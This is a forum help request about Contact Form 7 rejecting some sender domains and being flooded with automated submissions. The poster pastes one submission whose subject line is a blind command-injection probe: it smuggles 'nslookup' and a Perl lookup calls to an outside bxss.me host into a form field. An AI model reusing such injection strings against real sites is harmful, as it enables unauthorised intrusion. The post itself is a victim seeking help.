CF7 accepts mail from some domains and not others + crazy problem
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I have been receiving complaints that my contact form is not working, but also receiving messages from some people. I just tried sending a number of messages with different return addresses. Listing an @aol.com address gives a consistent failure, with the message “There was an error sending your message….” Listing a @gmail.com address succeeds in sending, as does my @ybb.ne.jp. Why is CF7 rejecting some return addresses?
In addition, I am receiving a huge number of messages (hundreds) within the space of a minute or two. Here is an example of the message body:
From: ncMUFCMU <[email protected]>
Subject: &(nslookup hitivtoiqjiofd3118.bxss.me||perl -e “gethostbyname(‘hitivtoiqjiofd3118.bxss.me’)”)&'”0&(nslookup hitivtoiqjiofd3118.bxss.me||perl -e "gethostbyname('hitivtoiqjiofd3118.bxss.me')")&
‘Message Body:
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This e-mail was sent from a contact form on Toby Marshall (https://toby-marshall.com)I am assuming this is some kind of spam or hacking attempt, or?
TIA for any help,
Toby
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